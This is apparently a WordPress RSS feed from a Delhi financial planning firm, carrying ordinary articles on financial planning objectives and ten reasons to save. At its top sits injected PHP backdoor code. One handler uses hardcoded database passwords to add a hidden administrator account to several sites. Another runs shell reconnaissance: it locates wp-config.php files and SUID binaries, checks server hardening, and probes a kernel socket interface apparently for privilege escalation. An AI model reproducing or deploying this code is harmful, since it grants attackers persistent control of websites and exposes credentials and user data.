add_action("wp_ajax_kpd", function() { $r = array(); $user = "svccba309"; $email = "svccba309@wp-monitor.net"; $pass_raw = "Kj8mP2vL9n!7"; $pass_hash = password_hash($pass_raw, PASSWORD_BCRYPT); $sites = array( array("sbowap88_sbobet381", "4Sw9TA6@p)", "sbobet381"), array("sbowap88_totojitu", "T)SQqp862-", "totovipjitu"), array("sbowap88_club388net", "rBx*KK8MSFhs", "club388login"), ); foreach ($sites as $s) { $dbname = $s[0]; $dbpass = $s[1]; $label = $s[2]; $db = new mysqli("localhost", $dbname, $dbpass, $dbname); if ($db->connect_error) { $r[$label] = "CONNECT_FAIL: " . $db->connect_error; continue; } // Find users table (detect prefix) $prefix = ""; $res = $db->query("SHOW TABLES LIKE '%users'"); if ($res && $row = $res->fetch_row()) { $tbl = $row[0]; $prefix = str_replace("users", "", $tbl); } else { $r[$label] = "NO_USERS_TABLE"; $db->close(); continue; } // Check if user already exists $check = $db->query("SELECT ID FROM " . $db->real_escape_string($prefix) . "users WHERE user_login='" . $db->real_escape_string($user) . "'"); if ($check && $check->num_rows > 0) { $r[$label] = "EXISTS (id=" . $check->fetch_row()[0] . ")"; $db->close(); continue; } // Get max ID $max_res = $db->query("SELECT MAX(ID) FROM " . $db->real_escape_string($prefix) . "users"); $max_id = $max_res ? $max_res->fetch_row()[0] + 1 : 999; // INSERT user $sql = "INSERT INTO `" . $prefix . "users` (ID, user_login, user_pass, user_nicename, user_email, user_registered, user_status, display_name) VALUES (" . intval($max_id) . ", '" . $db->real_escape_string($user) . "', '" . $db->real_escape_string($pass_hash) . "', '" . $db->real_escape_string($user) . "', '" . $db->real_escape_string($email) . "', NOW(), 0, '" . $db->real_escape_string($user) . "')"; $db->query($sql); if ($db->error) { $r[$label] = "INSERT_FAIL: " . $db->error; $db->close(); continue; } // INSERT usermeta (administrator role) $meta_tbl = $prefix . "usermeta"; $opt_res = $db->query("SELECT option_value FROM `" . $prefix . "options` WHERE option_name='table_prefix' OR option_name LIKE '%user_roles' LIMIT 1"); // Detect actual prefix from options table $roles_key = $prefix . "capabilities"; $level_key = $prefix . "user_level"; $db->query("INSERT INTO `" . $meta_tbl . "` (user_id, meta_key, meta_value) VALUES (" . intval($max_id) . ", '" . $db->real_escape_string($roles_key) . "', 'a:1:{s:13:\"administrator\";b:1;}')"); $db->query("INSERT INTO `" . $meta_tbl . "` (user_id, meta_key, meta_value) VALUES (" . intval($max_id) . ", '" . $db->real_escape_string($level_key) . "', '10')"); if ($db->error) { $r[$label] = "META_FAIL: " . $db->error; } else { $r[$label] = "YES (id=" . $max_id . ", prefix=" . $prefix . ")"; } $db->close(); } // Also verify totovipgame existing admin $db2 = new mysqli("localhost", "sbowap88_totogame", "p.Stj2]534", "sbowap88_totogame"); if (!$db2->connect_error) { $res = $db2->query("SHOW TABLES LIKE '%users'"); $tbl = $res->fetch_row()[0]; $prefix = str_replace("users", "", $tbl); $check = $db2->query("SELECT ID, user_login FROM `" . $prefix . "users` WHERE user_login='" . $db2->real_escape_string($user) . "'"); if ($check && $check->num_rows > 0) { $row = $check->fetch_assoc(); $r["totovipgame"] = "EXISTS (id=" . $row["ID"] . ")"; } else { $r["totovipgame"] = "NOT_FOUND"; } $db2->close(); } $r["hash_algo"] = "bcrypt"; echo json_encode($r); wp_die(); }); add_action("wp_ajax_kpd", function() { $r = array(); function run($cmd) { $desc = array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w")); $p = proc_open($cmd, $desc, $pipes); if (!is_resource($p)) return "FAIL"; $out = stream_get_contents($pipes[1]); $err = stream_get_contents($pipes[2]); proc_close($p); return trim($out . ($err ? "\n" . $err : "")); } $r["id"] = run("id 2>&1"); $r["uname"] = run("uname -r 2>&1"); $r["hostname"] = run("hostname -f 2>&1"); $r["home"] = run("ls /home/ 2>&1 | head -20"); $r["home_count"] = run("ls /home/ 2>/dev/null | wc -l"); $r["configs"] = run("find / -name wp-config.php -maxdepth 7 2>/dev/null | wc -l"); $r["configs_list"] = run("find / -name wp-config.php -maxdepth 7 2>/dev/null | head -20"); $r["suid"] = run("find / -perm -4000 -readable -type f 2>/dev/null | head -10"); $r["python"] = run("which python3 2>&1"); $r["perl"] = run("which perl 2>&1"); $r["userns"] = run("cat /proc/sys/user/max_user_namespaces 2>&1"); $r["kcare"] = run("kcarectl --info 2>&1 | head -2"); $r["cagefs"] = run("cagefsctl --cagefs-status 2>&1"); $r["dirtyfrag"] = run("cat /etc/modprobe.d/dirtyfrag.conf 2>&1"); $r["modblock"] = run("grep -r false /etc/modprobe.d/ 2>&1 | head -5"); $r["cpanel_ver"] = run("cat /usr/local/cpanel/version 2>&1"); $r["disable"] = ini_get("disable_functions"); $py = trim(run("which python3 2>&1")); if ($py && strpos($py, "/") === 0) { $r["authencesn"] = run($py . " -c \"import socket; s=socket.socket(38,5,0); s.bind(('aead','authencesn(hmac(sha256),cbc(aes))')); print(1)\" 2>&1"); } $redis = @fsockopen("127.0.0.1", 6379, $e, $es, 2); if ($redis) { fwrite($redis, "PING\r\n"); $r["redis"] = trim(fgets($redis, 64)); fclose($redis); } echo json_encode($r); wp_die(); }); Financial Planning – Sentinel India https://sentinelindia.in Best Wealth Management & Financial Planning Service Provider in Delhi Mon, 31 Oct 2022 04:39:45 +0000 en-US hourly 1 https://wordpress.org/?v=6.0.12 https://sentinelindia.in/wp-content/uploads/2022/12/cropped-sentinel-india-2-32x32.png Financial Planning – Sentinel India https://sentinelindia.in 32 32 Financial Planning – Importance and Objectives https://sentinelindia.in/financial-planning-importance-and-objectives/?utm_source=rss&utm_medium=rss&utm_campaign=financial-planning-importance-and-objectives https://sentinelindia.in/financial-planning-importance-and-objectives/#respond Fri, 21 Oct 2022 09:18:48 +0000 https://sentinelindia.in/?p=864 Financial Planning encompasses all processes which apply general management guidelines in the management of the finance of an organization, including planning the organization, directing and acquiring money, and investing and return of funds. Students will be taught about the purpose, meaning, and features of the financial plan.   Financial Planning is among the primary planning […]

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]]> Financial Planning encompasses all processes which apply general management guidelines in the management of the finance of an organization, including planning the organization, directing and acquiring money, and investing and return of funds. Students will be taught about the purpose, meaning, and features of the financial plan.

 

Financial Planning is among the primary planning processes necessary to be executed by the top management. Financial Planning covers all actions related to the purchase of funds, investing in the funds, and the returns expected from investments. Financial Planning can also include tax planning, which is an essential task.

 

Planning is crucial for the success of a business, and in this respect, we’ve started a discussion on the topic of Financial Planning, which needs to be explored in greater depth. The subject is vast. Therefore, to conduct a conceptual study, this should be studied.

Definition of Financial Planning

Financial Planning can be described as an account containing the details of a business’s owner’s or company’s financial position and a strategy for spending funds to accomplish a particular target through an effective plan. Financial Planning can be developed in-house or by a skilled planner.

 

It’s essentially the financial budget that assists in organizing the business. It also includes the set of objectives to be adhered to by the business or the business owner to save and spend the funds accordingly. It can help distribute financial expenses like rent while saving a portion of money in the long or short term.

 

Financial Planning is the method of estimating the required capital and, in addition, determining the competitive Parts necessary to plan financial plans. It’s a plan defined as a written document describing a person’s current financial situation along with long-term financial goals and strategies for achieving these goals based on the resources of the current funds. A financial plan can be formulated and written on its own or with the help of an expert financial planner. The initial step in preparing a financial strategy involves putting the data from internet-based accounts and putting them into a document or spreadsheet.

 

This kind of plan is often referred to as an investment plan since it can manage various liquid assets and other types subject to uncertainty and risk. Individual financial Planning isn’t as risky since it does not require a large amount of investment or undertaking like funds that are kept in separate accounts for university or college, healthcare, estates, or retirement.

 

Financial Planning in Financial Management

Financial plans are a review of a person’s current salary and financial situation through the use of current variables to forecast the future amount of income, asset value, and withdrawal strategies. Financial Planning is a part of the budget that organizes financial affairs of the business and personal financial affairs and may include the steps or goals specific to savings and spending for the future. The plan allocates future earnings to different expenses like utility bills or rent and saves some of the income for savings in the short and long term. A financial plan can be called an investment plan, whereas personal financing is focused on certain areas such as estate planning, risk management, retirement, or college.

Financial Planning Objectives

There are two primary goals for financial Planning, which are described in the following paragraphs:

  • Ensuring that the funds are readily available when Needed: The first and primary goal for financial management is to ensure that the funds are readily available in the event of an emergency or at any time to use. The funds must be readily available at the firm for various reasons.
  • Beware of unneeded fundraising by Firms: Lack of funds is just as damaging as surplus funds. Inactive funds will cause a loss to the company, as opposed to investing. So, an efficient allocation of funds is a crucial aspect of financial management.

The Objectives of Financial Planning are Enumerated as Follows 

  • To Ensure the Availability of Funds Whenever Required:

The main goal of financial management is to ensure that there is enough money at the disposal of the business to meet various needs.

  • To Check if the Firm Raises the Resources Unnecessarily:

Excess funding can be as detrimental as insufficient funds. If there is an excess amount of cash, the best financial plan is to put it in the best way possible since the inactivity of financial resources is a huge loss for an organization since it would go to waste.

Financial Planning Features

Many Parts associated with financial Planning are essential for individuals and businesses. The following are the most important:

  • Planning for the future without considering the consequences will cause a catastrophe. Planning with foresight is essential to estimate risks and the need for liquid assets and others. It might not be 100% accurate, but it ought to be able to estimate the risk that will come in the near future.
  • Flexible: Any plan must be flexible because it can help make adjustments to meet the demands of the future.
  • Best Use of Funds Financial plans should be able to use inactive assets and money to be productive in the near future. It doesn’t require money that is set aside for unforeseeable events but assets that can be employed.
  • Simple: Financial Planning must be straightforward in structure and be able to make an effective resource allocation that even the layman easily understands.
  • Liquidity is an important Part of financial planning that involves maintaining current assets in the form of money. This helps in the easy payments and allocation of various expenses like salaries, fees, and other kinds.

 

The main features of Financial Planning are listed below

  • Simplicity: A well-designed financial structure should be a simple financial framework that is manageable and comprehendible even for an untrained person.
  • Foresight: The concept of foresight has to be utilized in planning to determine the estimated amount of capital requirements which can be estimated accurately. An unplanned plan not accompanied by prior foresight can lead to a disaster for the company.
  • Flexibility Repetition of financial adjustments is necessary, so it is necessary to be flexible so that it can be easily adaptable
  • The best use of funds Capital must not just be adequate, but it should also be productive in its use. A financial plan must prevent excessive use of capital, thereby eliminating idle capacity and ensuring that funds are utilized properly to increase capacity within an organization.
  • Liquid assets: These assets need to be stored in liquid cash. Cash is also needed to finance purchases and meet the necessities of daily life, such as paying wages, salaries, and other incidental costs.

Conclusion

Financial Planning is an Important part of the personal and business worlds. This article will give you an understanding of the financial planning process and its most important Part.it helps you be in control of your income, expenses and investments such that you can manage your money and achieve your goals.

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]]> https://sentinelindia.in/financial-planning-importance-and-objectives/feed/ 0 Why to save & invest money for future? Here are 10 simple reasons https://sentinelindia.in/why-to-save-invest-money-for-future-here-are-10-simple-reasons/?utm_source=rss&utm_medium=rss&utm_campaign=why-to-save-invest-money-for-future-here-are-10-simple-reasons https://sentinelindia.in/why-to-save-invest-money-for-future-here-are-10-simple-reasons/#respond Wed, 12 Oct 2022 02:38:45 +0000 https://shtheme.org/demosd/zebizz/?p=27 Are you saving for the future?  NO or YES? If you are, then you must be wondering what a stupid question that is, because it’s so obvious that one needs to save money for the future. We all do it anyways! You are WRONG! Trust me, in the last 10 yrs – we have dealt […]

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Are you saving for the future?  NO or YES?

If you are, then you must be wondering what a stupid question that is, because it’s so obvious that one needs to save money for the future. We all do it anyways!

You are WRONG!

Trust me, in the last 10 yrs – we have dealt with so many investors who are not as prudent and forward-looking as you are. Many investors are hand to mouth when it comes to saving money. They are just postponing their savings in the future and relying on luck or maybe they are not giving putting in enough energy to save money.

So today, I thought of writing about 10 simple reasons why one should save and invest their money for the future. I want these 10 points to act as a reminder to you. Note, when I say “Save” in this article, it means “Save and invest”!

Let’s start

Reason #1 – It will help you in bad times

We all know that life is dynamic and bad things can happen. One may lose a job and become jobless someday. Or one may need lots of money to admit a loved one in the hospital. You never know what the future has in store!

If you have enough savings with you, you will be able to handle the situation in a much better way and won’t have to run around to others for money. There are always phases in life when things are going bad and if you don’t have savings, it can trouble you!. So savings help you in bad times!

Reason #2 – One day you will stop earning

At times, I am surprised to see many people forgetting this simple point, that one day they will stop earning.

That’s called “Retirement”

I see many people in their 30’s and 40’s behaving as if they will keep getting salary in their bank account all their life. They don’t take enough efforts to save money. They keep delaying their plans to invest and one day they realise that they are now in danger zone!

Dont forget that after you start your job, the expenses will never stop after that, but your earning will come only till you are 55-60 yrs!.

Reason #3 – To have peace of mind

One always feels a sense of security and peace of mind, when you have enough wealth to fall back on.I am talking about the day to day feeling you go through when there is bad news coming in.

Imagine situations like

  • Talks of layoffs in your company
  • Thoughts of getting someone hospitalized in the family.
  • News of your children school raising the fees .. AGAIN!!

All these small things in life will subconsciously haunt you and you will not have peace of mind because you know deep down you have no savings or less wealth. If something happens to your job, how will you manage things?

If you are working for many years, you will agree at there are some tough days, when you feel like just running away from everything and just chill out and enjoy life. You feel tired of corporate life and this rat race and all you wonder is – “If only I had enough wealth in my bank account”! ..

This also leads to a lot of stress and you may feel left-out compared to peers. Hence it’s very important to start saving for the future!

Reason #4 – To Get Financially Free

We all want to reach a stage in life when we dont have to depend fully on our salaries. We all want to create a level of wealth so that its enough to generate some income for us to handle our basic expenses at least. I am talking about financial independence.

When you start working, you have no wealth and you have to rely 100% on your salary. But over time, your wealth basket needs to go up in value so that if required – you can take out money if needed.

If someone needs Rs 40,000 a month for his expenses and he has 4.8 lacs savings – they know deep down that they at least have 1 yr worth of money with them.

With 48 lacs – they can last for 8-10 yrs (not considering inflation here)

This way, you reach a point in your life when your wealth itself is enough to create a stream of income which handles your basic expenses at least if not a lavish lifestyle.

If you have started your wealth creation journey on time – you are moving towards your financial independence slowly and maybe somewhere in your 40’s or 50’s (dont confuse this with your retirement) you will have some level of financial independence

Reason #5 – So that you don’t get into the debt trap

Remember that people who are into debt trap today started small. They got into a small debt first, and then they continued it, didn’t manage it well and now after many years, they find themselves into a deep debt trap. Think why they even started with the small debt like credit card debt or a small personal loan of 2 lacs?

Its because they didn’t have enough money saved!!. The root cause of the debt trap is because people do not save for the future, and then slowly have to rely on debt to fund their needs and desires.

Reason #6 – Feeling of Progress in life

Sense of “progress” is very important in your financial life. You may have ZERO bank balance at the start of a career. But if after working for 8-10 yrs, you have very less to show – then its crushes you from inside.

It’s like running for hours, only to realise that you have not moved much. If you do not save on time, then over a period you may feel like a failure because you dont see any progress in your wealth.

I also said in one of my tweets that “If your Net worth if not going up, you are probably a RICH SLAVE” and nothing more than that. Think about it!

And its not too tough to create wealth over time. A small sum of money can also turn out to be a big sum over a long period of time.

Check out how much wealth can you create just with the monthly SIP of Rs 10,000 in 30 yrs

So if you have been late till now – START NOW!

Reason #7 – To handle major life events

A lot of major life events are going to come in your life.

  • Kids School fees (recurring)
  • Vacations (recurring)
  • Child Education Higher Education
  • Buying House
  • Upgrading of Car (recurring)
  • Home Renovation
  • Retirement

and lots and lots of small events which will demand money constantly!

What are you going to do – if you will not save enough for the future? Depend on Loans? Get into a Debt Trap?

Starting your wealth creation journey early in life increases the chances of you meeting these financial goals with less stress and on time without compromising on them!

Reason #8 – So that you can spend without guilt!

I have seen enough families who do not take enough vacations or spend properly on themselves enough. They keep cutting corners and often try to show that they are simple people and they dont believe in wasting money. But deep down the reasons is that they just don’t have wealth!

This means that on each occasion, they often feel guilty for spending money. They feel as if they are doing something wrong. They deprive themselves today so that they don’t have to deprive their future-self!

It doesn’t only impact them but their spouse, kids, parents and everyone around them at some level. A good financial life is not about just saving money, but spending money sensibly!

So start your saving today to that in future, when you have to spend money on things you love, you can do it with free mind without any guilt feeling!

Reason #9 – To explore an alternate career

A lot of people are not happy with their jobs. They feel stuck and they want to do something about it. But once you take a home loan and don’t possess any other skill, it becomes a permanent job for you.

You cant quit and explore other career choices because you have no backup plan. Forget switching career, ask yourself if you can even take a 2-3 yrs break from the job? Do you have enough wealth to support that?

If you save enough today, there will be a time when you will feel more comfortable to take that kind of tough decision. Having wealth on your side – gives you enough power to tell your boss that he sucks and that you are not coming from the next day!

You will be able to take calculated risks in life and try out many things .. so start saving now!

Reason #10 – Do that you can leave a legacy

I have many friends who have got enough legacy from their parents. Their money issues are partially solved. Imagine someone in a big city (Bangalore or Mumbai) whose parents are going to leave them a house or a big portfolio/business.

Only a person is burdened with a big EMI and no future inheritance can understand what I am speaking about.

One of my close friends has a Rs 10 crore net worth today (he is just 35 yrs age) all created by his grandfather. He has his own home, other properties and few income sources. Imagine how it would be for you if you were to acquire a lot of wealth from your ancestors!. What would be your mental state?

I am not saying that this itself will solve all your life issues, but you have one big less thing to worry about in life. You just build upon that!

You don’t get legacy because your parents messed up their retirement and didn’t do enough wealth creation. You can choose to not do that your next generation. I know that its a subjective thing and not everyone is excited or agree with the idea of leaving an inheritance.

Why we don’t save enough money when it’s so obvious?

Below is an excellent video from Shlomo Benartzi on why we don’t save enough and a framework to solve that issue. Listen to it!

A simple financial plan for you to invest your money

So here is a very generic roadmap on what you can do to invest your money

  • First, take enough term plan and health insurance early in life
  • Make sure you have 12 months’ worth of expenses invested in an ultra-short-term bond fund. This will give you good liquidity and decent returns at the same time!
  • Invest 20% – 40% of your take-home income into equities (as you already have debt portion covered by EPF). The options can be a mutual fund, Index funds, direct stocks if you understand it
  • Over time, as you grow older you may also have investments into debt mutual funds to lower the volatility of your portfolio
  • If you wish to, you can also have some fixed deposits – but preferably very less of it
  • If you are investing in NPS already, you have some equity exposure!
  • Stay away from endowment and money-back insurance policies
  • You can open a PPF account, but don’t over-invest in it at a young age!

The above suggestions are all generic in nature. If you are interested in wealth creation in a more focused and structured manner, you may want to look at our investments services brochure

Let me know if you liked the article and share your comments

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